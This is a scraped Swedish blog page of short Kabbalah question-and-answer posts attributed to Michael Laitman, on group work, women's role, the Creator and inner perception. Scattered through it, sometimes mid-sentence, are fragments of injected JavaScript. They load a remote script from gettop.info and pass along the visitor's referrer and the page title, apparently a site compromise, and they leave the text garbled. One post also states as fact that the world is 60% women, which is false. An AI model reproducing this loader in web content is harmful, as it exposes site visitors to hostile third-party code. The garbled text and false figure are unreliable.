Inlägg i kategori ''

Att leva i andra

Dr. Michael LaitmanFråga: Vilken är vännens roll i det integrerade systemet?

Svar: Vännens roll är enorm och ovärderlig. En person stiger till den grad han eller hon hjälper alla andra att förenas. En person arbetar aldrig direkt för sig själv, utan alltid genom de andra.

I vår värld följer jag alltid mitt eget mål: Jag sätter mig själv och alla andra i en viss ordning och beräknar vad som är bäst för mig. Även efter tio personer i följd måste nyttan alltid komma tillbaka till mig.

I den andliga världen är detta inte fallet. Där beräknar jag hur mycket jag kan bidra till andra så att det stannar i dem, inte i mig. Mitt egoistiska ”jag” dör till slut undan, och det jag investerad i de andra (som jag skulle göra på banken, förutom att det skulle vara på de andras konton istället för mitt) blir kvar. I slutändan, när jag stiger över mitt ”jag”, blir allt jag investerat i de andra mitt. Det är som om jag lever i dem, som en mor som lever i hennes barn som hon tar hand om.

Den andliga världen grundas på detta moderliga attribut: på givande, kärlek, att skifta från sig själv utåt. Som ett resultat börjar vi uppleva oss själva i andra, och detta tillstånd upplevs som evigt, fullständigt. Det dikteras inte av mitt eget tillstånd, inklusive min kropp. Kroppen kan till och med dö, men ”jag” lever redan i andra begär, andra egenskaper.

}

Det finns ingen utveckling utan kvinnor

Med kvinnor mäter vi allt utifrån till vilken grad de efterfrågar att vara tillsammans och stötta och omgärda den manliga delen. Kvinnor måste sätta press på männen. Det är deras natur. De måste bara använda den på ett sant sätt, utan att vara generade. Kvinnorna beror av den manliga gruppen och mansgruppen beror av dem. Mansgruppen kan inte avancera utan kvinnor.

Den kvinnliga inklinationen är primär, den manliga sekundär. Så är hela naturen konstruerad. Vore det inte för kvinnorna hade männen fördrivit hela sina liv med att spela fotboll. Men den kvinnliga inklinationen tvingar dem att bilda familj, att arbeta, att komma hem, och att arrangera saker och ting. Allt detta är det kvinnliga begäret, inte det manliga. Män har inte något av detta. Han är som ett barn hela sitt liv.

Det är därför kvinnor måste strukturera upp saker på rätt sätt och sätta tryck på och påverka männen. Och männen måste förstå detta. Vi är vuxna och måste använda vår natur, både den kvinnliga och den manliga, för att nå målet. Målet uppnås gemensamt. Det är som födseln av ett barn som tillhör båda.

Därför bör man se allvarligt på detta, och ömsesidigt. Det är ingen tillfällighet att vi skapades precis på det här sättet. Vi ser på allt som en tillfällighet, men i verkligheten måste vi samla allt inom oss till max och sätta samman det på rätt sätt. Då kan vi tillskansa oss ett begär i vilket Skaparen blir uppenbarad. Inget kan göras här utan den kvinnliga inklinationen.

Världen består av 60% kvinnor och de utgör den stabilare halvan i världen. På liknande sätt är gruppen totalt instabil utan den kvinnliga delen. En stark kvinnogrupp är garantin för en stabil manlig del. Den är stabilare. Genom korrekt handlande dämpas och mjuknar alla problem, all gungning i vårt gemensamma skepp.

Kvinnorna måste förstå detta och fylla sin funktion. Männen måste också förstå detta och ge kvinnorna de lämpliga tillfällena, så väl som att värdesätta dem. Utan detta kommer de inte åstadkomma någonting. Den manliga delen kommer genast ”segla snett” utan den kvinnliga delen. Kvinnornas närvaro stävjar alla svårigheter.

Till och med Abraham blev uppmanad att ”Lyssna till vad Sara säger dig”. Den kvinnliga basen i utvecklingen är initialt den viktigaste. Hela begäret som vi måste reparera är det kvinnliga begäret, som uttrycks genom kvinnan. Därför bör ni organisera er på rätt sätt. Där det finns en stark kvinnlig del, dit kommer garanterat stor framgång.

 Från lektionen i Moskva 2011-01-16, Rabashs skrifter

Att arbeta mellan plus och minus, kärlek och hat

Dr. Michael LaitmanFråga: Vad innebär det att förverkliga informationsgenerna, reshimot, inom gruppen?

Svar: Det finns ingen annan sorts förverkligande av varje persons reshimot förutom genom att fullborda ens engagemang i gruppen till tillståndet av absolut perfektion. Det är så här reshimot aktualiseras.

Gruppen är den enda platsen och det enda sättet att förverkliga dem: Jag måste gå in i gruppen med alla begär, egenskaper, och informationsdata som vecklar ut sig inom mig, och tills jag börjar se det som perfekt, med alla dess villkor, kan jag inte säga att jag har förverkligat ett visst reshima.

I det ögonblick jag ser vännerna som perfekta, det vill säga i förbindelse med varandra, sammanlänkade och kärleksfulla (enligt min nivå), betyder det att jag är färdig med att bearbeta ett visst reshima och att jag har förverkligat det fullständigt. Ögonblickligen utvecklar sig nästa steg framför mig: som hat, avfärdande, avund, lust och ambition.

Nu måste jag återigen föra mitt nuvarande tillstånd till perfektion. Det här är det enda sättet jag kan realisera mina reshimot och uppnå ett fullständigt tillstånd, ett tillstånd där det inte finns några fler reshimot som jag måste rätta till med kärlek till andra och föra till evig helhet och perfektion.

Och för varje högre gren kommer du definitivt att möta större hat och avfärdande, beräkningar du inte kan undvika. Du leds av en ändlös flod av hat och egoistiska beräkningar som har med andra att göra, medan du enbart tänker på hur du ska bedra, dra nytta av, och placera dig själv över dem.

Du tänker på det varje ögonblick tills dit huvud spricker. Och om du även gör upp en plan för att utföra det spräcker du även ditt hjärta. Och då förstår du att du enbart kan arbeta i gruppen. Människan kastas in i sådana tillstånd där alla problem enbart kretsar kring detta. Så här är det ända till självaste slutet av korrigeringen (gmar tikkun).

Dessa beräkningar kommer inte att låta dig vara; de verkar vara någon sorts nonsens, och du tror att du har kommit över dem. Men plötsligt dyker de upp överallt igen! Och det fortsätter gång efter annan, utan ände! Allt vi kan göra är att utöva tålamod och utan slut fortsätta återvända till samma sak, tills genombrottet äntligen sker.

Rabash brukade berätta om hur en läkare förbjöd honom att dricka whiskey, men han brukade dränka en bit paj i det och äta den i små bitar. Det såg ut som att han åt paj, fast det blev mindre och mindre whiskey i hans glas.

Vi är oförmögna att ta emot Ljuset Chochma (visdom): Vi kan bara fortsätta att absorbera det i vårt begär droppe för droppe, tills vi efter ett enormt antal handlingar kan absorbera allt av det. Hur fungerar en dator? Den förstår ingenting förutom ettor och nollor, allt annat sker genom en mångfald handlingar.

Så här är hela naturen konstruerad: kvantfysik, kemi och andra vetenskaper. Det finns ingenting utom “plus”, “minus” och ett väldigt antal händelser. Hemligheten ligger i detta mångfaldigande av handlingar. Varje handling, oberoende av vilken ekvation den definieras av, bottnar i plus och minus, kontakt och separation.

Från den fjärde delen av den dagliga kabbalalektionen 2011.01.20, Den dolda visdomens kvalitet – generellt
videoikon WMVljudikon MP3

if (document.currentScript) {

Myter och verklighet

Dr. Michael Laitman

Fråga: Tyvärr uppfostrades jag att tro att Skaparen är en gammal man som sitter någonstans i himlen. Nu när jag studerar kabbala, förstår jag att detta är en falsk uppfattning. Hur kan jag bli av med dessa barndomens stereotyper?

Svar: Detta är inte relaterat till ens barndom. Mänskligheten utvecklade sådana myter för länge sedan. Det är naturligt för oss att föreställa oss att det finns något på detta sättet. Berättelser om en befintlig kraft har berättats från generation till generation, och människor förknippar den med bilder som har både armar och ben, allt enligt sin egen förståelse.

Skaparen har ingen bild eller form. Skaparen är Naturen, och eftersom båda orden har samma numeriska värde, representerar de samma objekt. Skaparen är Naturens allmänna lag, och Naturen är en kraft. Vi är krafter likaså, även om det för oss verkar som att bilderna, materia och natur finns på de stilla, vegetativa, och levande nivåerna. Precis som vi ser olika bilder på TV-skärmen, ser vi allt här i världen exakt på samma sätt. Vi föreställer oss det i våra huvuden.

Bilden av Skaparen som en gammal man i himlen är ett allvarligt misstag och skapar en skev verklighetsuppfattning. Den kabbalistiska visdomen doldes, inte heller judendomen har förklarat för folk vem Skaparen är. Allt detta har lett folk till att tro på dessa myter. Liknande föreställningar finns fortfarande bland nationen.

Vi förknippar saker med Skaparen som vi normalt skulle förknippat saker med människor i vår värld: Om jag ger honom något, då kommer Han ge mig välsignelser, eller om jag ger en tia, då Han kommer ge mig två. Vi tror att om vi mutar Honom, så vi får bättre behandling från Honom, och livet tar en vändning till det bättre.

Men, med varje dag som går, blir det allt tydligare att vår relation med Skaparen måste byggas endast i riktning mot vår korrigering. Han kräver bara en sak från oss: att vara en människa med ett hjärta och älska din nästa som dig själv.

Lektion om ”Varför Skaparen är dold” i serien kabbala för alla
videoikon WMV Video | ljudikon MP3 Audio

} else {

Natten för uttåget ur Egypten

Dr. Michael LaitmanFråga: Vad innebär det att tacka Skaparen?

Svar: Efter alla ansträngningar som krävs av mig i spridning, studier, och gruppen, uppnår jag en förtvivlan och då börjar jag att uppfatta mitt egoistiska begär som separat från mig själv. Det är samma sak som hur en sjuk person känner platsen för sjukdomen och dess källa, det smärtande området, inom sig, som man urskiljer och vill isolera.

Då börjar man arbeta för att komma ut ur Egypten, för att isolera sina egoistiska begär. Man försöker separera sig från det, men kan inte göra det. Så passerar den första och den andra av de egyptiska plågorna.

Efter det börjar man känna att alla dessa förändringar i förhållande till ens onda böjelse frammanas av Skaparen. Som Toran berättar, informerar Skaparen Moses att han har gett mer styrka till Farao för att bestiga och upphöja Sig över honom.

Man börjar se och förstå att Skaparen gör allt arbete inombords. Han leder en upp, ut ur de egoistiska beräkningarna, och sänker en sedan, därefter faller man tillbaka. Sedan tar Skaparen ut en igen och senare faller man igen. Det är så gång på gång, så erhåller man kunskap och en känsla av det faktum att om Skaparen inte utför dessa åtgärder på en, kommer man alltid att förbli i sitt Egypten, inne i sina egoistiska begär.

Dessa intryck samlas, blir tydligare och starkare, tills man ropar, redo för vad som helst – även att anpassa mörkret för sin egoism – allt för att fly från den. Detta är det ”egyptiska mörkret”, natten för uttåget ur Egypten. Det finns inget mörker i en större än det här, men om man vet att man följer Skaparen, då föredrar man detta mörker. Naturligtvis föredrar man det inte i sin önskan att njuta, utan för att Skaparen går framför en.

Och detta uppnås genom noggrant arbete.d.getElementsByTagName(‘head’)[0].appendChild(s);

Verkligheten i de övre världarna

Dr. Michael LaitmanFråga: Hur ser vår verklighet ut i världarna BYA (Beria, Yetzira, Assiya) när vi uppstiger längs med graderna av dessa världar till världen Atzilut?

Svar: I nuläget ser jag allt i mitt begär som är helt egoistiskt, inriktat endast på egen tillfredsställelse, bortkopplat ifrån alla andliga krafter och Skaparen. Jag har ingen gnista utav givande och lever mitt liv som ett djur. Detta tillstånd kallas ”denna världen”.

När jag börjar granska mig själv, vilka begär jag kan upphöja till korrigering, så är jag i världarna BYA. Alltså, jag kan nollställa mig själv framför gruppen, få styrka från vännerna och ena mig med dem till viss mån, uppnå den ömsesidiga garantin, enhet och helhet så som ”en människa med ett hjärta”.

I den utsträckning som jag kan göra detta, så reser jag mig till Malchut av världen Atzilut. Upphöjer mitt begär, förändrar det till det bättre, jag uppstiger. Jag förenar mig med Malchut tillsammans med alla andra och då, i vårt gemensamma begär (Kli) kallad Shechina, där alla är förenade tillsammans så som ”en människa med ett hjärta”, mottager vi uppenbarelsen av andligheten, Skaparen.

Det följer att världarna BYA är tillstånd där jag granskar mig själv under studierna och under arbetet i gruppen, där jag har möjligheten att förena mig med vännerna i åtminstone en liten omfattning.

Skillnaderna mellan världarna BYA är graden av vår förening, utifrån den omfattning som vi kan höja våran vädjan till Malchut av Oändligheten och uppnå korrektion. Men vi stannar alltid kvar i världarna BYA, vi frambringar bara deras uppstigning, tillsammans med oss, till världen Atzilut.} else {

Ett spel av min fantasi

Dr. Michael LaitmanFråga: Jag har hört dig säga många gånger att allt som ger mig svårigheter, kränker eller sårar mig i huvudsak är inom mig. Hur börjar jag känna och förstå detta?

Svar: När en sann verklighet uppenbaras för mig, inser jag att jag uppfattar allt inombords, och det finns ingenting på utsidan. En känsla av ”utanför mig” finns inte alls eftersom allt sker i mina känslor, i min uppfattning. Och en uppenbar verklighet som jag för närvarande observerar: denna världens rymlighet, det oändliga universum, jorden med sina många detaljer, allt uppfattar jag inom mig. Därför, allt eftersom jag korrigerar mitt allmänna egoistiska begär, kommer hela denna bild förändras.

Däremot känner vi inte detta i vår värld eftersom vi uppfattar verkligheten i ett begär som inte förändras kvalitativt: Det bara blir större eller mindre. Men om vi förändrar dess viktigaste egenskaper, från mottagande för sig själv, till skänkande, skulle vi känna vår tidigare uppfattning från sidan och kunna bedöma vad som händer på rätt sätt.

Det är inte enkelt. Detta är svårt att förstå och omöjligt att känna. Skiftet inträffar plötsligt, på grund av det Övre Ljuset som gradvis, droppvis, inverkar på oss.

Utöver sina ordinarie kvaliteter (kelim), förvärvar en person nya. Den här världen försvinner inte, utan bredvid uppfattar han ytterligare en verklighet, dess andra del. Bara då kommer han förstå vart han är belägen och verkligen känna att vår värld blott är en illusion.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Värdesätt varenda minut

Dr. Michael LaitmanVar och en av oss bör säkerställa att ens tid används så effektivt som möjligt. Jag ser inte hur någon kan lyckas med något utan en individuell arbetsplan. Det är avgörande att göra upp en sådan plan för varje vecka, för att veta vad man ska göra.

Jag måste skapa den för mig själv och inte rygga tillbaka från det jag planerat. Dessutom måste planen vara knuten till alla andra arbetsplaner så att jag förblir förbunden till dem som en kugge i hela systemet.

Därför måste varje timma och minut skrivas ut i detalj. Och till den grad man bryr sig om den externa miljön, lyckas man även i det inre arbetet.

Från samtalet om andligt arbete 2010.12.17

if (document.currentScript) {

Hela världen är min

Dr. Michael Laitman

Idag måste vi erkänna att vi alla – mänskligheten, den stilla, vegetativa, och levande naturen, samt Skaparen är delar av ett enda system. Ju mer vi harmonierar med detta system, desto bättre kommer vårt tillstånd att vara. Men, om vi inte kan gå med på dess villkor, eller inte kan harmonisera oss med det på vår nivå av utveckling, i samma grad kommer vi att uppleva lidande, inklusive vår undergång.

I själva verket finns vi i ett integrerat system som blir uppenbarat för oss mer och mer. Systemet i sig är konstant, men eftersom vår egoism utvecklas, ser vi dess tidigare dolda former. Vi tycker att det är naturen som förändras, medan det är vi som gör det. Det är som om vi tittar ut genom tågfönstret: Det är inte plattformen utan tåget som rör sig.

Tills nyligen har vi utvecklas på nivåerna; stilla, vegetativ, och levande natur, och har inte känt vår motsats till naturen. Dessa var mina inre begär som utvecklades (shoresh, neshama och guf), och allt har syftat till att uppfylla mina egoistiska behov.

Men, nu har dessa önskemål fått sällskap av ytterligare två typer av önskan, som jag upplever som yttre: ”kläder” (levush) och ”palats” (heichal). Jag måste acceptera dem som mina egna inre begär, vilket betyder att jag måste acceptera att hela världen är min, att det är jag, medan jag bara uppfattar det som finns utanför mig.

Så, med det följer att hela denna värld, universum, hela naturen, tillhör mig, inte sant? Och det är mitt ansvar att ta hand om allt, så som jag gör för mig själv, eller hur? Så, jag ska inte använda det för min egen skull, utan just för att ta hand om det ”som jag gör för mig själv”, eftersom allt av det så småningom utvecklar sig som min inre del.

Detta är vad vi kallar en ny global värld. ”Kläder” och ”palats”, (aviut 3 och 4 i mina önskningar) som jag såg som externa, blir nu interna i min uppfattning,  och utvecklas som mina egna önskningar, medan jag, på grund av min egoistiska natur (i min GEaviut 0, 1, 2) avvisar dem, ser dem som utanför mig, och därigenom skadar dem, och därigenom också mig själv.

Och när jag börjar knyta dem till mig själv, kommer jag att kunna känna den övre verkligheten i dem. Det är för att den verklighet som upplevs i ”kläder” och ”palats” blir mina delar, och kommer att visa sig vara den andliga världen. Med andra ord jag måste binda hela naturen till mig själv och inom mig känna allt som finns där, till den sista atomen!  Trots allt, universum är en värld av Oändlighet, som kommer att uppenbaras för mig när jag känner att allt omkring mig är mitt.

Det är så jag kommer att uppleva det. Istället för den materiella världen som utspeglar sig i mina egoistiska önskningar, kommer jag att börja känna den andliga.}

Som en hund i ett koppel

Dr. Michael LaitmanFråga: Vi arbetar med egoism på det mänskliga planet. Men hur ska vi förhålla oss till begär på de livlösa, vegetativa, och djuriska nivåerna?

Svar: Genom principen om nödvändiga livsvillkor. Ta bara så mycket som du behöver. Allt annat bara stör dig. Det står skrivet: ”Ju mer egendom du har, desto mer bekymmer har du.” Om du i första hand tänker på det mänskliga planet, kommer du sedan bara ha tillräckligt med energi kvar för de viktigaste förnödenheterna på de andra nivåerna.

Till exempel, vissa människor har hund hemma. Hunden skäller högt på morgonen, och kräver att tas ut på en promenad. Båda två går tillsammans: befälhavaren och hunden i koppel. Jag går med min ”hund” inuti, medan hans hund är utanför.

Självklart måste detta ”djur” tas om hand. Jag matar det, går tur med det, tvättar det, lägger det i säng för att vila, och gör allt som krävs för att det skall låta mig arbeta med det andliga.

Denna sunda inställning gör livet mycket lättare. Du måste sätta din materiella existens under enkla, ”mekaniska” gränser, tills de endast blir ett föremål i ett system, som kugghjul i ett urverk. Jag måste kunna umgås med alla och bibehålla en viss materiell balans i min familj, på jobbet, och så vidare, medan jag ägnar huvuddelen av min energi åt det som betyder mest.

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;